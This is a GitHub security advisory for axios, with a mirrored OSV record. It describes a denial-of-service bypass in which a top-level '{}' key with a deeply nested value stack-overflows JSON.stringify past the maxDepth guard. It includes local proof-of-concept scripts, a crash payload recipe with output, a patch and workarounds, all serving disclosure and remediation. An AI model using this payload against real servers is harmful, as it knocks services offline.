GHSA-HCPX-6FM6-WX23
Vulnerability from github – Published: 2026-07-20 22:38 – Updated: 2026-07-20 22:38Summary
Axios versions in the fixed lines for GHSA-62hf-57xw-28j9 still contain an incomplete depth-limit bypass in lib/helpers/toFormData.js. When serializing an object with a top-level key ending in {}, axios calls JSON.stringify() on that value before the formSerializer.maxDepth guard can inspect the nested structure.
An attacker who can control object keys and nested values passed by an application into axios form or parameter serialization can trigger a raw RangeError: Maximum call stack size exceeded, causing a denial of service in the affected request path.
Impact
The impact is availability only. No confidentiality or integrity impact was confirmed.
Server-side applications are the primary concern when they accept user-controlled input and pass it into axios as data or params for multipart/form-data, application/x-www-form-urlencoded, or default parameter serialization. Browser impact is limited to the page or request context unless the application builds a broader failure mode around the thrown exception.
The attack requires control over a top-level object key ending in {} and a deeply nested object value. The option formSerializer.metaTokens: false is not a workaround because it only changes the emitted key name; the value is still stringified.
Affected Functionality
Affected paths include:
lib/helpers/toFormData.jswhen a top-level key ends with{}.lib/helpers/toURLEncodedForm.js, which delegates tohelpers.defaultVisitor.lib/helpers/AxiosURLSearchParams.js, used by default params serialization.- Request transforms in
lib/defaults/index.jswhen object data is serialized asmultipart/form-dataorapplication/x-www-form-urlencoded.
Unaffected paths include:
- Already-created
FormDataorURLSearchParamsvalues that axios does not walk withtoFormData. - Custom
paramsSerializer.serializeimplementations that do not call axiostoFormData. - Non-
{}deeply nested values intoFormData, which hitERR_FORM_DATA_DEPTH_EXCEEDEDas intended.
Technical Details
In lib/helpers/toFormData.js, defaultVisitor() handles top-level keys ending in {} before recursive traversal:
if (value && !path && typeof value === 'object') {
if (utils.endsWith(key, '{}')) {
key = metaTokens ? key : key.slice(0, -2);
value = JSON.stringify(value);
}
}
The depth guard is in build():
if (depth > maxDepth) {
throw new AxiosError(
'Object is too deeply nested (' + depth + ' levels). Max depth: ' + maxDepth,
AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED
);
}
For {} metatoken values, build() only sees the top-level property. The nested value is handed directly to native JSON.stringify(), which recurses internally and can throw RangeError before axios emits the intended AxiosError.
Proof of Concept of Attack
Safe local PoC with no network I/O:
import toFormData from './lib/helpers/toFormData.js';
function buildDeep(depth) {
const head = {};
let cur = head;
for (let i = 0; i < depth; i += 1) {
cur.x = {};
cur = cur.x;
}
return head;
}
try {
toFormData({ 'evil{}': buildDeep(10000) });
} catch (err) {
console.log(err.name, err.code || '', err.message);
}
// Expected affected result:
// RangeError Maximum call stack size exceeded
Expected fixed behavior is an AxiosError with code ERR_FORM_DATA_DEPTH_EXCEEDED.
Workarounds
Reject or depth-limit untrusted objects before passing them to axios serialization.
Strip or reject top-level keys ending in {} from untrusted objects when using axios form serialization.
For query parameters, use a custom paramsSerializer.serialize that enforces a depth limit.
For form bodies, construct FormData or URLSearchParams manually after validating input depth.
// 156 function defaultVisitor(value, key, path) {
// 165 if (value && !path && typeof value === 'object') {
// 166 if (utils.endsWith(key, '{}')) {
// 167 // eslint-disable-next-line no-param-reassign
// 168 key = metaTokens ? key : key.slice(0, -2);
// 169 // eslint-disable-next-line no-param-reassign
// 170 value = JSON.stringify(value); // <-- V8 native, NOT depth-checked
// 171 } else if (...
`build()` later does enforce `maxDepth`:
// 211 function build(value, path, depth = 0) {
// 212 if (utils.isUndefined(value)) return;
// 213
// 214 if (depth > maxDepth) {
// 215 throw new AxiosError(
// 216 'Object is too deeply nested (' + depth + ' levels). Max depth: ' + maxDepth,
// 217 AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED
// 218 );
The `'{}'` shortcut runs in `defaultVisitor`, which is invoked from inside `build()` for top-level keys (the `!path` clause at line 165 means the shortcut only triggers at top level, where `path` is `undefined`). At that point `depth === 0` and the maxDepth check has already passed; the recursion-aware guard never sees the nested value because `defaultVisitor` reassigns `value = JSON.stringify(value)` and returns the rendered string straight to `formData.append`. JSON.stringify itself is recursive in V8 and stack-overflows on deeply nested objects, throwing `RangeError` synchronously.
The behaviour is independent of the `metaTokens` option: line 168 only changes whether `'{}'` stays on the key name, line 170 stringifies regardless. `toURLEncodedForm`'s wrapper visitor in `lib/helpers/toURLEncodedForm.js:11-14` falls through to the same `defaultVisitor`, so the form-encoded path is also affected.
The attacker payload is a single top-level key ending in `'{}'` whose value is a nested object. The keys themselves do not have to be deep, so the payload is small to send (a few KB of `{"x":{"x":...}}` produces enough nesting to overflow). The original advisory's threat model -- a server that forwards `req.body` or `req.query` into axios -- is unchanged:
app.post('/forward', async (req, res) => {
await axios.post('https://upstream/api', req.body); // req.body attacker-controlled
res.send('ok');
});
// attacker POST /forward with content-type: application/x-www-form-urlencoded
// body: {"evil{}": <8000-deep object>}
// -> JSON.stringify recurses inside defaultVisitor -> RangeError -> handler crashes
The error is not an `AxiosError`; it is a raw `RangeError` thrown from the stringifier, so handlers that look for `err.code === 'ERR_FORM_DATA_DEPTH_EXCEEDED'` (the documented signal that the maxDepth guard fired) do not see it. Synchronous startup paths or worker threads still take the whole process down.
The fix is to also depth-limit (or pre-walk) the value before calling `JSON.stringify` on line 170, or to remove the top-level `'{}'` shortcut and rely on the depth-checked `build()` recursion to handle it. A minimal patch that preserves observable behaviour for legal payloads:
if (utils.endsWith(key, '{}')) {
// eslint-disable-next-line no-param-reassign
key = metaTokens ? key : key.slice(0, -2);
+ // Reject objects that would exceed maxDepth before handing to JSON.stringify,
+ // which is recursive in V8 and stack-overflows on deeply nested input.
+ (function checkDepth(v, d) {
+ if (d > maxDepth) {
+ throw new AxiosError(
+ 'Object is too deeply nested (' + d + ' levels). Max depth: ' + maxDepth,
+ AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED
+ );
+ }
+ if (v && typeof v === 'object') {
+ for (const k in v) checkDepth(v[k], d + 1);
+ }
+ })(value, 0);
// eslint-disable-next-line no-param-reassign
value = JSON.stringify(value);
}
(The recursion in `checkDepth` itself is bounded by `maxDepth`, so it cannot itself overflow.)
## PoC
Reproduces against a clean clone of `axios/axios` at v1.16.0 with `npm install` already run. `targets/axios/poc_jsonstringify_dos.mjs` is the script:
import axios from './source/index.js';
function buildDeep(depth) {
let head = {};
let cur = head;
for (let i = 0; i < depth; i++) { cur.x = {}; cur = cur.x; }
return head;
}
const malicious = buildDeep(5000);
const safeAdapter = () => Promise.resolve({
data: 'never reached', status: 200, statusText: 'OK', headers: {}, config: {}
});
// 1. POST x-www-form-urlencoded
try {
await axios.post('http://example.test/x',
{ 'evil{}': malicious },
{ headers: { 'content-type': 'application/x-www-form-urlencoded' }, adapter: safeAdapter });
} catch (e) {
console.log('POST form-encoded:', e.name, '-', e.message);
}
// 2. GET with params
try {
await axios.get('http://example.test/x',
{ params: { 'evil{}': malicious }, adapter: safeAdapter });
} catch (e) {
console.log('GET params:', e.name, '-', e.message);
}
3/3 runs reproduce the same `RangeError` on `axios@1.16.0` with Node.js 24:
$ node poc_jsonstringify_dos.mjs
POST form-encoded: RangeError - Maximum call stack size exceeded
GET params: RangeError - Maximum call stack size exceeded
`safeAdapter` is a stub that returns a fake response, so the crash is provably inside axios's serialization layer, not in HTTP I/O. Removing the `'{}'` suffix from the key and re-running gives the expected `AxiosError: Object is too deeply nested ... ERR_FORM_DATA_DEPTH_EXCEEDED` from the maxDepth guard, confirming the fix is wired correctly elsewhere -- it just does not cover this branch.
Crash threshold on a default-stack Node.js process is roughly depth 2500-3000; 8000 is comfortably above that, and the payload is a few KB.
## Impact
A remote, unauthenticated attacker who can influence an object that the application passes to axios as request `data` or `params` triggers an uncaught `RangeError` from inside the synchronous `JSON.stringify` call in `defaultVisitor`. In server-side applications that proxy or re-forward client JSON through axios -- the same threat model that motivated GHSA-62hf-57xw-28j9 -- this crashes the request handler and, in worker/cluster setups, the whole process. The previously shipped `maxDepth` guard does not stop it because the `'{}'` suffix path bypasses `build()` entirely. Same severity class as the original advisory (CWE-674 Uncontrolled Recursion, network-reachable DoS); the only difference is the attacker has to suffix one of their object keys with `'{}'` to land on the unguarded code path.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "0.31.1"
},
{
"fixed": "0.33.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "1.15.1"
},
{
"fixed": "1.18.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-674"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-20T22:38:04Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nAxios versions in the fixed lines for GHSA-62hf-57xw-28j9 still contain an incomplete depth-limit bypass in `lib/helpers/toFormData.js`. When serializing an object with a top-level key ending in `{}`, axios calls `JSON.stringify()` on that value before the `formSerializer.maxDepth` guard can inspect the nested structure.\n\nAn attacker who can control object keys and nested values passed by an application into axios form or parameter serialization can trigger a raw `RangeError: Maximum call stack size exceeded`, causing a denial of service in the affected request path.\n\n## Impact\n\nThe impact is availability only. No confidentiality or integrity impact was confirmed.\n\nServer-side applications are the primary concern when they accept user-controlled input and pass it into axios as `data` or `params` for `multipart/form-data`, `application/x-www-form-urlencoded`, or default parameter serialization. Browser impact is limited to the page or request context unless the application builds a broader failure mode around the thrown exception.\n\nThe attack requires control over a top-level object key ending in `{}` and a deeply nested object value. The option `formSerializer.metaTokens: false` is not a workaround because it only changes the emitted key name; the value is still stringified.\n\n## Affected Functionality\n\nAffected paths include:\n\n- `lib/helpers/toFormData.js` when a top-level key ends with `{}`.\n- `lib/helpers/toURLEncodedForm.js`, which delegates to `helpers.defaultVisitor`.\n- `lib/helpers/AxiosURLSearchParams.js`, used by default params serialization.\n- Request transforms in `lib/defaults/index.js` when object data is serialized as `multipart/form-data` or `application/x-www-form-urlencoded`.\n\nUnaffected paths include:\n\n- Already-created `FormData` or `URLSearchParams` values that axios does not walk with `toFormData`.\n- Custom `paramsSerializer.serialize` implementations that do not call axios `toFormData`.\n- Non-`{}` deeply nested values in `toFormData`, which hit `ERR_FORM_DATA_DEPTH_EXCEEDED` as intended.\n\n## Technical Details\n\nIn `lib/helpers/toFormData.js`, `defaultVisitor()` handles top-level keys ending in `{}` before recursive traversal:\n\n```js\nif (value \u0026\u0026 !path \u0026\u0026 typeof value === \u0027object\u0027) {\n if (utils.endsWith(key, \u0027{}\u0027)) {\n key = metaTokens ? key : key.slice(0, -2);\n value = JSON.stringify(value);\n }\n}\n```\n\nThe depth guard is in `build()`:\n\n```js\nif (depth \u003e maxDepth) {\n throw new AxiosError(\n \u0027Object is too deeply nested (\u0027 + depth + \u0027 levels). Max depth: \u0027 + maxDepth,\n AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED\n );\n}\n```\n\nFor `{}` metatoken values, `build()` only sees the top-level property. The nested value is handed directly to native `JSON.stringify()`, which recurses internally and can throw `RangeError` before axios emits the intended `AxiosError`.\n\n## Proof of Concept of Attack\n\nSafe local PoC with no network I/O:\n\n```js\nimport toFormData from \u0027./lib/helpers/toFormData.js\u0027;\n\nfunction buildDeep(depth) {\n const head = {};\n let cur = head;\n\n for (let i = 0; i \u003c depth; i += 1) {\n cur.x = {};\n cur = cur.x;\n }\n\n return head;\n}\n\ntry {\n toFormData({ \u0027evil{}\u0027: buildDeep(10000) });\n} catch (err) {\n console.log(err.name, err.code || \u0027\u0027, err.message);\n}\n\n// Expected affected result:\n// RangeError Maximum call stack size exceeded\n```\n\nExpected fixed behavior is an `AxiosError` with code `ERR_FORM_DATA_DEPTH_EXCEEDED`.\n\n## Workarounds\n\nReject or depth-limit untrusted objects before passing them to axios serialization.\n\nStrip or reject top-level keys ending in `{}` from untrusted objects when using axios form serialization.\n\nFor query parameters, use a custom `paramsSerializer.serialize` that enforces a depth limit.\n\nFor form bodies, construct `FormData` or `URLSearchParams` manually after validating input depth.\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Report\u003c/summary\u003e\n\n## Summary\nThe `maxDepth=100` guard added in axios 1.15.0 to fix GHSA-62hf-57xw-28j9 lives inside the `build()` recursion in `lib/helpers/toFormData.js`. The default visitor at `lib/helpers/toFormData.js:166-170` still has a top-level shortcut that calls `JSON.stringify(value)` whenever a key ends in `\u0027{}\u0027`, before `build()` ever sees the nested value. JSON.stringify on a deeply nested object stack-overflows with `RangeError: Maximum call stack size exceeded`, which propagates synchronously out of the axios call. The exact attacker-data flow that the original advisory described (proxy-style code that forwards client JSON into `axios({ data, params })`) still crashes the process at depth ~3000 on a default Node.js stack, despite v1.16.0 being patched.\n\n## Details\nAffected: axios 1.15.0 - 1.16.0 (every released version that carries the GHSA-62hf-57xw-28j9 fix). The bug is reachable from any code path that hits `toFormData`, which includes:\n\n- `axios.post(url, data, { headers: { \u0027content-type\u0027: \u0027application/x-www-form-urlencoded\u0027 } })` -\u003e `defaults.transformRequest` -\u003e `toURLEncodedForm(data)` -\u003e `toFormData`\n- `axios.post(url, data, { headers: { \u0027content-type\u0027: \u0027multipart/form-data\u0027 } })` -\u003e same path via `toFormData`\n- `axios.get(url, { params })` -\u003e `buildURL` -\u003e `new AxiosURLSearchParams(params)` -\u003e `toFormData`\n\nVulnerable code, `lib/helpers/toFormData.js`:\n\n```javascript\n// 156 function defaultVisitor(value, key, path) {\n// 165 if (value \u0026\u0026 !path \u0026\u0026 typeof value === \u0027object\u0027) {\n// 166 if (utils.endsWith(key, \u0027{}\u0027)) {\n// 167 // eslint-disable-next-line no-param-reassign\n// 168 key = metaTokens ? key : key.slice(0, -2);\n// 169 // eslint-disable-next-line no-param-reassign\n// 170 value = JSON.stringify(value); // \u003c-- V8 native, NOT depth-checked\n// 171 } else if (...\n```\n\n`build()` later does enforce `maxDepth`:\n\n```javascript\n// 211 function build(value, path, depth = 0) {\n// 212 if (utils.isUndefined(value)) return;\n// 213\n// 214 if (depth \u003e maxDepth) {\n// 215 throw new AxiosError(\n// 216 \u0027Object is too deeply nested (\u0027 + depth + \u0027 levels). Max depth: \u0027 + maxDepth,\n// 217 AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED\n// 218 );\n```\n\nThe `\u0027{}\u0027` shortcut runs in `defaultVisitor`, which is invoked from inside `build()` for top-level keys (the `!path` clause at line 165 means the shortcut only triggers at top level, where `path` is `undefined`). At that point `depth === 0` and the maxDepth check has already passed; the recursion-aware guard never sees the nested value because `defaultVisitor` reassigns `value = JSON.stringify(value)` and returns the rendered string straight to `formData.append`. JSON.stringify itself is recursive in V8 and stack-overflows on deeply nested objects, throwing `RangeError` synchronously.\n\nThe behaviour is independent of the `metaTokens` option: line 168 only changes whether `\u0027{}\u0027` stays on the key name, line 170 stringifies regardless. `toURLEncodedForm`\u0027s wrapper visitor in `lib/helpers/toURLEncodedForm.js:11-14` falls through to the same `defaultVisitor`, so the form-encoded path is also affected.\n\nThe attacker payload is a single top-level key ending in `\u0027{}\u0027` whose value is a nested object. The keys themselves do not have to be deep, so the payload is small to send (a few KB of `{\"x\":{\"x\":...}}` produces enough nesting to overflow). The original advisory\u0027s threat model -- a server that forwards `req.body` or `req.query` into axios -- is unchanged:\n\n```javascript\napp.post(\u0027/forward\u0027, async (req, res) =\u003e {\n await axios.post(\u0027https://upstream/api\u0027, req.body); // req.body attacker-controlled\n res.send(\u0027ok\u0027);\n});\n// attacker POST /forward with content-type: application/x-www-form-urlencoded\n// body: {\"evil{}\": \u003c8000-deep object\u003e}\n// -\u003e JSON.stringify recurses inside defaultVisitor -\u003e RangeError -\u003e handler crashes\n```\n\nThe error is not an `AxiosError`; it is a raw `RangeError` thrown from the stringifier, so handlers that look for `err.code === \u0027ERR_FORM_DATA_DEPTH_EXCEEDED\u0027` (the documented signal that the maxDepth guard fired) do not see it. Synchronous startup paths or worker threads still take the whole process down.\n\nThe fix is to also depth-limit (or pre-walk) the value before calling `JSON.stringify` on line 170, or to remove the top-level `\u0027{}\u0027` shortcut and rely on the depth-checked `build()` recursion to handle it. A minimal patch that preserves observable behaviour for legal payloads:\n\n```diff\n if (utils.endsWith(key, \u0027{}\u0027)) {\n // eslint-disable-next-line no-param-reassign\n key = metaTokens ? key : key.slice(0, -2);\n+ // Reject objects that would exceed maxDepth before handing to JSON.stringify,\n+ // which is recursive in V8 and stack-overflows on deeply nested input.\n+ (function checkDepth(v, d) {\n+ if (d \u003e maxDepth) {\n+ throw new AxiosError(\n+ \u0027Object is too deeply nested (\u0027 + d + \u0027 levels). Max depth: \u0027 + maxDepth,\n+ AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED\n+ );\n+ }\n+ if (v \u0026\u0026 typeof v === \u0027object\u0027) {\n+ for (const k in v) checkDepth(v[k], d + 1);\n+ }\n+ })(value, 0);\n // eslint-disable-next-line no-param-reassign\n value = JSON.stringify(value);\n }\n```\n\n(The recursion in `checkDepth` itself is bounded by `maxDepth`, so it cannot itself overflow.)\n\n## PoC\nReproduces against a clean clone of `axios/axios` at v1.16.0 with `npm install` already run. `targets/axios/poc_jsonstringify_dos.mjs` is the script:\n\n```javascript\nimport axios from \u0027./source/index.js\u0027;\n\nfunction buildDeep(depth) {\n let head = {};\n let cur = head;\n for (let i = 0; i \u003c depth; i++) { cur.x = {}; cur = cur.x; }\n return head;\n}\n\nconst malicious = buildDeep(5000);\nconst safeAdapter = () =\u003e Promise.resolve({\n data: \u0027never reached\u0027, status: 200, statusText: \u0027OK\u0027, headers: {}, config: {}\n});\n\n// 1. POST x-www-form-urlencoded\ntry {\n await axios.post(\u0027http://example.test/x\u0027,\n { \u0027evil{}\u0027: malicious },\n { headers: { \u0027content-type\u0027: \u0027application/x-www-form-urlencoded\u0027 }, adapter: safeAdapter });\n} catch (e) {\n console.log(\u0027POST form-encoded:\u0027, e.name, \u0027-\u0027, e.message);\n}\n\n// 2. GET with params\ntry {\n await axios.get(\u0027http://example.test/x\u0027,\n { params: { \u0027evil{}\u0027: malicious }, adapter: safeAdapter });\n} catch (e) {\n console.log(\u0027GET params:\u0027, e.name, \u0027-\u0027, e.message);\n}\n```\n\n3/3 runs reproduce the same `RangeError` on `axios@1.16.0` with Node.js 24:\n\n```\n$ node poc_jsonstringify_dos.mjs\nPOST form-encoded: RangeError - Maximum call stack size exceeded\nGET params: RangeError - Maximum call stack size exceeded\n```\n\n`safeAdapter` is a stub that returns a fake response, so the crash is provably inside axios\u0027s serialization layer, not in HTTP I/O. Removing the `\u0027{}\u0027` suffix from the key and re-running gives the expected `AxiosError: Object is too deeply nested ... ERR_FORM_DATA_DEPTH_EXCEEDED` from the maxDepth guard, confirming the fix is wired correctly elsewhere -- it just does not cover this branch.\n\nCrash threshold on a default-stack Node.js process is roughly depth 2500-3000; 8000 is comfortably above that, and the payload is a few KB.\n\n## Impact\nA remote, unauthenticated attacker who can influence an object that the application passes to axios as request `data` or `params` triggers an uncaught `RangeError` from inside the synchronous `JSON.stringify` call in `defaultVisitor`. In server-side applications that proxy or re-forward client JSON through axios -- the same threat model that motivated GHSA-62hf-57xw-28j9 -- this crashes the request handler and, in worker/cluster setups, the whole process. The previously shipped `maxDepth` guard does not stop it because the `\u0027{}\u0027` suffix path bypasses `build()` entirely. Same severity class as the original advisory (CWE-674 Uncontrolled Recursion, network-reachable DoS); the only difference is the attacker has to suffix one of their object keys with `\u0027{}\u0027` to land on the unguarded code path.\n\u003c/details\u003e",
"id": "GHSA-hcpx-6fm6-wx23",
"modified": "2026-07-20T22:38:04Z",
"published": "2026-07-20T22:38:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/axios/axios/security/advisories/GHSA-hcpx-6fm6-wx23"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/pull/11000"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/pull/11001"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/commit/1417285c69344bbcc6420a021f67dee0c6fedb2d"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2"
},
{
"type": "PACKAGE",
"url": "https://github.com/axios/axios"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/releases/tag/v0.33.0"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/releases/tag/v1.18.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Axios form serializer maxDepth bypass via {} metatoken"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.